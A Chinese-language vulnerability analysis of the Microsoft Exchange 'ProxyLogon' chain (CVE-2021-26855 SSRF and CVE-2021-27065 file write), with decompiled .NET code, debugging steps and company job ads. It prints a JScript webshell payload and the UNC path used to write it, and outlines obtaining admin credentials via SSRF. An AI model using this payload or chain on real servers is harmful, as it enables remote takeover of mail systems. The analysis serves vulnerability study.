Exchange “ProxyLogon”系列漏洞分析
2022-12-8 00:1:30 Author: 白帽子(查看原文) 阅读量:44 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.1 简介

近期,微软Exchange邮件服务器的⾼危安全漏洞引起了安全圈的普遍关注,主要包括的漏洞类型和CVE 编号如下所示:

· CVE-2021–26855 SSRF 

· CVE-2021–26857 反序列化 

· CVE-2021–26858 任意⽂件写⼊ 

· CVE-2021–27065 任意⽂件写⼊

其中CVE-2021–26855是⼀个SSRF,攻击者可以不经过任何类型的身份验证来利⽤此漏洞,只需要能够访问Exchange服务器即可;与此同时,CVE-2021–27065是⼀个任意⽂件写⼊漏洞,它需要登陆的管理员账号权限才能触发。因此,两者的结合可以造成未授权的webshell写⼊,属于⾮常⾼危的安全漏洞。

在本⽂中,我们⾸先介绍了Exchange处理请求的流程和对其调试⽅法;接下来具体分析了CVE-2021–26855与CVE-2021–27065漏洞原理,最后较为详细的描述了漏洞相关的ProxyLogon接⼝部分的详细验证过程。四个安全漏洞的利⽤过程示意图如上所示[10]

No.2 Exchange处理请求流程

Exchange系统的服务架构如下图所示,由前端和多个后端组件组成。⽤户基于各类协议对Exchange的前端发起请求,前端解析请求后会将其转发到后端相对应的服务当中。以基于HTTP/HTTPS协议的访问为例,来⾃Outlook或Web客户端的请求会⾸先经过IIS,然后进⼊到Exchange的HTTP代理,代理根据请求类型将HTTP请求转发到不同的后端组件中。整个处理流程如下图所示[11]

No.3 调试⽅法

相关分析⽂章⼀般只分析了漏洞的原理,却忽略了介绍如何调试代码的⽅法,由于对.NET框架的调试相对来说⽐较复杂,所以⾸先介绍⼀下我们的调试⽅法。

调试⼯具--dnspy

dnspy是⼀个.NET反汇编和调试编辑器[1]。它可以对基于.NET框架编写的动态链接库(.dll)进⾏反编译,让我们清楚地查看代码逻辑和结构。同时可以让我们在没有源代码的情况,对程序进⾏下断点调试。

静态分析

通过dnspy可以直接对dll库进⾏逆向,直接打开被调试⽂件即可,⼗分⽅便。 对于Exchange的漏洞, 我们⽤到的最关键的dll库为 Miscrosoft.Exchange.FrontEndProxy.dll ,这个库中包含了Exchange将前端请求转发到后端的过程。

不过由于整个Http请求还经过了⼀些不包含在Exchange内的运⾏库(如.Net⾃带的System.Web库), 仅凭静态分析⽆法跟⼊这些库中,因此还需要动态调试。

动态调试

通过dnspy的附加到进程功能,我们可以动态调试.NET程序。然⽽由于Exchange程序逻辑极其复杂,相关进程较多,如何从复杂的进程中找到被调试的进程是⼀个难点。

⾸先通过IIS管理器可以查看当前服务器的应⽤程序池,其中Exchange的应⽤程序池以 MSExchange为开头。

随后查看IIS服务相关的所有进程。进⼊C:\Windows\System32\inetsrv,执⾏appcmd list wp ,可以查看进程名和进程号。

经过测试,applicationPool.MSExchangeECPAppPool是本次漏洞的相关进程。于是可以在dnspy中,点击调试->附加到进程->选中进程->附加。之后就可以下断点进⾏调试了。

No.4 CVE-2021–26855

CVE-2021-26855是⼀个SSRF漏洞。恶意⽤户可以在远程绕过安全验证向任意端⼝发送数据。 研究⼈员对补丁前后的dll库进⾏diff,发现在Microsoft.Exchange.FrontEndHttpProxyBEResourceRequestHandler类中,新增了 ShouldBackendRequestAnonymous ⽅法[2]。因此我们可以从这个类⼊⼿。

BEResourceRequestHandler是⼀个⽤于处理向后端进⾏资源型请求的类,如请求js,png,css⽂件等。它在函数SelectHandlerForUnauthenticatedRequest中被引⽤,⽽要创建这个类的实例,⾸先需要函数BEResourceRequestHandler.CanHandle()返回True。

分析CanHandle函数,可以发现返回True需要以下两个条件: 

· HTTP请求的Cookie中含有X-BEResource键; 

· 请求应是资源型请求,即请求的⽂件后缀应为规定的⽂件类型。

privatestaticstringGetBEResouceCookie(HttpRequesthttpRequest){  stringresult=null;  HttpCookiehttpCookie=httpRequest.Cookies[Constants.BEResource];  if (httpCookie!=null)  {    result = httpCookie.Value;  }  return result; }
public static bool IsResourceRequest(string localPath) { ArgumentValidator.ThrowIfNull("localPath", localPath); return localPath.EndsWith(".axd", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".crx", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".css", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".eot", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".gif", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".jpg", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".js", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".htm", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".html", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".ico", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".manifest", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".mp3", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".msi", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".png", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".svg", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".ttf", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".wav", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".woff", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".bin", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".dat", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".flt", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".mui", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".xap", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".skin", StringComparison.OrdinalIgnoreCase);}

SelectHandlerForUnauthenticatedRequest函数在OnPostAuthorizeInternal中被调⽤。 httpHandler会被设置为BEResourceRequestHandler的⼀个实例,由于BEResourceRequestHandler继承于ProxyRequstHandler,因此会进⼊((ProxyRequestHandler)httpHandler).Run(context),并最终在HttpContext.RemapHandler中把该httpHandler设置给this._remapHandler,即是context.Handler

接下来,进⼊System.Web.HttpApplicationCallHandlerExecutionStep接⼝的HttpApplication.IExecutionStep.Execute()函数。⾸先,从context.Handler获取handler ,即我们之前提到的BEResourceRequestHandler,由于BEResourceRequestHandler继承与ProxyRequestHandler类,⽽该类⼜继承了IHttpAsyncHandler类,因此会进⼊到如下图所示的if分⽀当中,并在图中的3872⾏调⽤ProxyRequestHandler.BeginProcessRequest()函数。

接下来,在ProxyRequestHandler.BeginProcessRequest中会调⽤ProxyRequestHandler.BeginCalculateTargetBackEnd, 在ProxyRequestHandler.BeginCalculateTargetBackEnd中调⽤ProxyRequestHandler.InternalBeginCalculateTargetBackEnd,最终进⼊到BEResourceRequestHandler.ResolveAnchorMailboxBEResourceRequestHandler.ResolveAnchorMailbox函数会调⽤BEResourceRequestHandler.GetBEResouceCookie获取键X-BEResource的值,然后将其传⼊BackEndServer.FromString中。

BackEndServer.FromString函数中,⾸先根据~将X-BEResource的值分割为两部分,前⼀部分作为fqdn,后⼀部分则是version的值。

函数继续执⾏,经过⼀系列函数调⽤:后端服务器的⽬标FQDN计算完后调⽤OnCalculateTargetBackEndCompleted函数,该函数⼜调⽤InternalOnCalculateTargetBackEndCompleted函数,紧接着调⽤ BeginValidateBackendServerCacheOrProxyOrRecalculate函数,然后调⽤BeginProxyRequestOrRecalculate函数,最终进⼊到BeginProxyRequest函数中。其中调⽤GetTargetBackendServerUrl函数获取向backend转发请求的URL。

GetTargetBackendServerUrl中将调⽤GetClientUrlForProxy函数构造发起请求的URL。

最终调⽤ProxyRequestHandler.CreateServerRequest(uri)向backend发起请求。

以上即是SSRF漏洞的整个流程。

No.5 CVE-2021–27065

CVE-2021–27065是⼀个任意⽂件写⼊漏洞,相⽐于CVE-2021–26855简单得多。 ⾸先需要⼀个管理员账号,进⼊Servers->Virtual Directories->OAB

编辑OAB配置,在外部链接中写⼊shell并保存。

http://aaa/<script language="JScript" runat="server">function Page_Load(){eval(Request["orange"],"unsafe");}</script>

接下来输⼊⽂件路径并重置。

\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\1chig0.aspx

shell即可成功写⼊。

No.6 两者配合写⼊shell

由于漏洞内容较为敏感,⼤部分⽂章到这⾥的分析很少。我们通过对协议分析以及⾃⼰的理解,还原了proxylogon的技术细节。

获取LegacyDN

Autodiscover是Exchange中的⼀个服务,该服务可以帮助客户端(例如Outlook)以最少的⽤户输⼊来进⾏电⼦邮箱的配置。因为在前⽂提到的SSRF中需要获知后端服务器即Exchange服务器的FQDN,因此可以利⽤该服务。 

Autodiscover的请求格式可以在官⽅⽂档[6]中找到。

<Autodiscoverxmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">  <Request> <EMailAddress>[email protected]</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>  </Request></Autodiscover>

获取SID

消息处理API(MAPI)是Outlook⽤于接收和发送电⼦邮件相关信息的API,在Exchange 2016以及2019当中,微软⼜为其加⼊了MAPI over HTTP机制,使得Exchange和Outlook可以在标准的HTTP协议模型之下利⽤MAPI进⾏通信。整个MAPI over HTTP的协议标准可以在官⽅⽂档中查询。为了获取对应邮箱的SID,如下图所示的exploit中利⽤了⽤于发起⼀个新会话的Connect类型请求。

⼀个正常的Connect类型请求如图所示[5],包含UserDn等多个字段,其中UserDn指的是⽤户在该域中的专有名称(Distinguish Name),该字段已被我们通过上⼀步骤的请求中得到。该Connect类型请求通过解析后会将相关参数交给Exchange RPC服务器中的EcDoConnectEx⽅法执⾏。由于发起请求的RPC客户端的权限为SYSTEM,对应的SID为S-1-5-18,与请求中给出的DN所对应的SID不匹配,于是响应中返回错误信息,该信息中包含了DN所对应的SID,从⽽达到了⽬的。

各个字段的具体含义如下图所示[5]

获取管理员登陆凭证

通过Burpsuite拦截数据包可以看到,exploit利⽤SSRF漏洞访问了Exchange后端的/ecp/proxyLogon.ecp路径,从响应中得到了ASP.NET_SessionId以及msExchEcpCanary两个Cookie,根据Cookie的键名我们可以得知这两个Cookie分别对应会话ID以及⽤户的登录凭证。

为了了解它们是如何⽣成的,我们查看IIS管理器,可以找到 ecp 的后端.NET应⽤程序物理路径。

在该物理路径下的.NET应⽤配置⽂件web.config中定义了不同路径的HTTP请求对应的处理函数,检索可知路径proxyLogon.ecp是由ProxyLogonHandler来处理的,然⽽对相应的dll进⾏反编译后发现该Handler仅修改了HTTP响应的状态码。

最终通过调试后发现,真正与msExchEcpCanary以及ASP.NET_SessionId相关的代码是在类RbacModule中的,通过web.config可以看到RbacModule作为应⽤的其中⼀个模块⽤于处理HTTP请求。

在该模块中由函数Application_PostAuthenticateRequest具体实现对HTTP请求的解析。相关关键代码如下,⾸先函数根据httpContext⽣成AuthenticationSettings实例。

AuthenticationSettings的构造函数中,由于所有的if语句均不满⾜,函数会根据context⽣成 ⼀个RbacSettings实例,并赋值给⾃⼰的Session属性。

⽽在RbacSettings的构造函数中,函数会判断请求路径是否以/proxyLogon.ecp结尾,若是则进⼊下⽅的if分⽀,利⽤请求数据创建SerializedAccessToken实例。

分析SerializedAccessToken类,可知该类会将访问令牌序列化成XML格式,其中根节点的名字为r,根节点的at属性对应访问令牌中的认证类型、ln属性对应访问令牌中的登录名称;根节点的⼦ 节点为SID节点,节点名字为s,当中的属性t对应SID类型,属性 a 对应SID属性,节点中的⽂本为SID。其序列化函数定义如下,可以看到令牌⼤致与Windows中的安全访问令牌内容相似。

随后构造函数根据请求头部的msExchLogonMailbox字段以及logonUserIdentity变量调 ⽤GetInboundProxyCaller函数获取该代理请求的发起服务器。若返回结果不为空则调 ⽤EcpLogonInformation.Create函数创建⼀个EcpLogonInformation实例,再⽤该实例创建⼀ 个EcpIdentity实例。

Create函数⾸先根据logonMailboxSddlSid⽣成安全标识符实例,然后根据proxySecurityAccessToken参数⽣成SerialzedIdentity实例,并最后⽣成EcpLogonInformation实例。⽽根据名称可知logonUserIdentity定义了登⼊⽤户的权限,因⽽我们能够得到任意SID对应⽤户的权限。

之后程序回到RbacSettings的构造函数中,在响应中添加ASP.NET_SessionId Cookie

程序接下来返回到RbacModule的函数中,在AuthenticationSettings实例⽣成后其Session属性 被赋值给httpContext.User,并进⼊if分⽀调⽤CheckCanary函数。

CheckCanary函数⼜将调⽤如下所示的SendCanary函数,该函数⾸先从请求的Cookie中读取Canary并尝试恢复,若成功则函数直接返回,否则⽣成⼀个新的Canary并将其加⼊到响应的Cookie中。从⽽我们能够构造满⾜要求的请求通过SSRF访问 ecp/proxyLogon.ecp获得管理员的凭证。

写shell

最后根据CVE-2021–27065发送的请求包构造请求,即可成功写⼊shell,不再赘述。 

· 查看OAB配置

· 保存外部链接

· 重置

· 最终成功写⼊结果

No.7 总结

Exchange的架构设计中不允许⽤户直接访问后端,⽽是要通过前端服务作为代理来进⾏访问。然⽽,前端在处理代理请求的过程中由于对特定Cookie的内容没有进⾏充分检查,导致攻击者最终能够实现服务端请求伪造。在能够对后端服务发起请求后,攻击者⼜利⽤了后端管理服务没有对⽂件类型进⾏检查的漏洞,构造恶意输⼊以及恶意⽂件后缀名实现了WebShell的写⼊。

No.8 参考⽂献

【1】https://github.com/dnSpy/dnSpy

【2】https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFth%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265

【3】https://www.praetorian.com/blog/reproducing-proxylogon-exploit/

【4】https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/

【5】https://interoperability.blob.core.windows.net/files/MS-OXCMAPIHTTP/%5bMS-OXCMAPIHTTP%5d.pdf

【6】https://interoperability.blob.core.windows.net/files/MS-OXDSCLI/%5bMS-OXDSCLI%5d.pdf

【7】https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/

【8】https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/

【9】 https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/ 

【10】https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/

【11】https://docs.microsoft.com/en-us/exchange/architecture/architecture?view=exchserver-2016

RECRUITMENT

招聘启事

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。

简历投递至 

[email protected]

设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;

3、精通photoshop/illustrator/coreldrew/等设计制作软件;
4、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽

简历投递至 

[email protected]

安全招聘

————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;

岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

岗位:红队武器化Golang开发工程师

薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246446&idx=1&sn=443c2749169620932d6c7a7ded3c05fa&chksm=82ea5687b59ddf9169b376afb470352a9ab022082aaf09e76e555fbf5afaa0db4890ad846150#rd
如有侵权请联系:admin#unsafe.sh